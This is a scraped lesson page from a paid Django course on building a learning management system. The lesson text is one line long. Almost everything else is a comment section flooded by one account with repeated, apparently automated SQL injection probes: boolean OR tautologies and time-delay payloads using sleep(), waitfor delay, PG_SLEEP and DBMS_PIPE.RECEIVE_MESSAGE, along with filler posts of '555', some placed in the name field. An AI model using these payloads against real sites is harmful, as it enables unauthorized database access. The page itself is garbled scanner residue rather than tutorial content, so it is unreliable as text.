Parts model and page - Build a Learning Management System Using Django

You need to be subscribed to a plan to get access to the full course.

Let's set up the model for the parts and also show them on the page.

Comments

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

-1 OR 2+284-284-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:05

-1 OR 2+998-998-1=0+0+0+1

EFSArCBy | Jul 02, 26 10:05

-1' OR 2+232-232-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:05

-1' OR 2+933-933-1=0+0+0+1 or 'BpUHlcNZ'='

EFSArCBy | Jul 02, 26 10:05

-1" OR 2+853-853-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:05

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 10:05

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 10:05

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 10:05

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 10:05

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:05

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:05

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:05

555PbXZzrU1'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:05

555-1 OR 89=(SELECT 89 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:05

555-1) OR 926=(SELECT 926 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:05

555-1)) OR 929=(SELECT 929 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:05

5557wuvISrc' OR 211=(SELECT 211 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:05

555oYHUMNkw') OR 935=(SELECT 935 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:05

555hhPMZqUE')) OR 816=(SELECT 816 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:05

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 10:05

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555'"

EFSArCBy | Jul 02, 26 10:05

@@tuKtx

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:05

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

-1 OR 2+883-883-1=0+0+0+1 -- | Jul 02, 26 10:06

555

-1 OR 2+622-622-1=0+0+0+1 | Jul 02, 26 10:06

555

-1' OR 2+733-733-1=0+0+0+1 -- | Jul 02, 26 10:06

555

-1' OR 2+518-518-1=0+0+0+1 or 'OCHwtP0V'=' | Jul 02, 26 10:06

555

-1" OR 2+347-347-1=0+0+0+1 -- | Jul 02, 26 10:06

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 10:06

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 10:06

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 10:06

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 10:06

555

EFSArCByoWzQLS2Q'; waitfor delay '0:0:15' -- | Jul 02, 26 10:06

555

EFSArCBy10o5Arlo' OR 39=(SELECT 39 FROM PG_SLEEP(15))-- | Jul 02, 26 10:06

555

EFSArCBywWVpgu2a') OR 491=(SELECT 491 FROM PG_SLEEP(15))-- | Jul 02, 26 10:06

555

EFSArCByfsa1GUiZ')) OR 254=(SELECT 254 FROM PG_SLEEP(15))-- | Jul 02, 26 10:06

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy'" | Jul 02, 26 10:06

555

@@teXvK | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 02, 26 10:06

555

EFSArCBy | Jul 20, 26 11:08

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

-1 OR 2+970-970-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:10

-1 OR 2+817-817-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:10

-1' OR 2+958-958-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:10

-1' OR 2+431-431-1=0+0+0+1 or 'WLrXHtCt'='

EFSArCBy | Jul 20, 26 11:10

-1" OR 2+626-626-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:10

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:10

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:10

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:10

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:10

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555g8meOTkq'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555-1 OR 820=(SELECT 820 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555-1) OR 540=(SELECT 540 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555-1)) OR 158=(SELECT 158 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555VHt3PLKq' OR 268=(SELECT 268 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555KnKjighi') OR 972=(SELECT 972 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555bxQMrBOr')) OR 794=(SELECT 794 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:10

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555'"

EFSArCBy | Jul 20, 26 11:10

@@5KQKO

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

-1 OR 2+488-488-1=0+0+0+1 -- | Jul 20, 26 11:10

555

-1 OR 2+334-334-1=0+0+0+1 | Jul 20, 26 11:10

555

-1' OR 2+954-954-1=0+0+0+1 -- | Jul 20, 26 11:10

555

-1' OR 2+182-182-1=0+0+0+1 or 'P3ElSctn'=' | Jul 20, 26 11:10

555

-1" OR 2+769-769-1=0+0+0+1 -- | Jul 20, 26 11:10

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:10

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:10

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:10

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:10

555

EFSArCByQbDJxW7P'; waitfor delay '0:0:15' -- | Jul 20, 26 11:10

555

EFSArCByehZ8b1tf' OR 714=(SELECT 714 FROM PG_SLEEP(15))-- | Jul 20, 26 11:10

555

EFSArCBymISX5vGx') OR 133=(SELECT 133 FROM PG_SLEEP(15))-- | Jul 20, 26 11:10

555

EFSArCByLYNGlfxC')) OR 415=(SELECT 415 FROM PG_SLEEP(15))-- | Jul 20, 26 11:10

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy'" | Jul 20, 26 11:11

555

@@QLwgF | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 20, 26 11:11

555

EFSArCBy | Jul 23, 26 02:00

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

-1 OR 2+960-960-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:05

-1 OR 2+675-675-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:05

-1' OR 2+647-647-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:05

-1' OR 2+825-825-1=0+0+0+1 or 'GrOrOCyN'='

EFSArCBy | Jul 23, 26 02:05

-1" OR 2+849-849-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:05

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:05

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:05

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:05

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:05

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:05

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:05

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:05

555PLUTXVw9'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:05

555-1 OR 238=(SELECT 238 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:05

555-1) OR 766=(SELECT 766 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:05

555-1)) OR 227=(SELECT 227 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:05

555GCIAsQJi' OR 924=(SELECT 924 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:05

5558pCiMf48') OR 43=(SELECT 43 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:05

555Zf5maIyi')) OR 761=(SELECT 761 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:05

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:05

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555'"

EFSArCBy | Jul 23, 26 02:05

@@xPkD0

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

-1 OR 2+164-164-1=0+0+0+1 -- | Jul 23, 26 02:05

555

-1 OR 2+896-896-1=0+0+0+1 | Jul 23, 26 02:05

555

-1' OR 2+150-150-1=0+0+0+1 -- | Jul 23, 26 02:05

555

-1' OR 2+633-633-1=0+0+0+1 or 'IVxOK8tN'=' | Jul 23, 26 02:05

555

-1" OR 2+686-686-1=0+0+0+1 -- | Jul 23, 26 02:05

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:05

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:05

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:05

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:05

555

EFSArCByRB4cixwW'; waitfor delay '0:0:15' -- | Jul 23, 26 02:05

555

EFSArCByoFNyxsyH' OR 615=(SELECT 615 FROM PG_SLEEP(15))-- | Jul 23, 26 02:05

555

EFSArCBy0eP6Kx6r') OR 859=(SELECT 859 FROM PG_SLEEP(15))-- | Jul 23, 26 02:05

555

EFSArCBy5ehUbOVp')) OR 670=(SELECT 670 FROM PG_SLEEP(15))-- | Jul 23, 26 02:05

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy'" | Jul 23, 26 02:05

555

@@DT1SW | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

EFSArCBy | Jul 23, 26 02:05

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.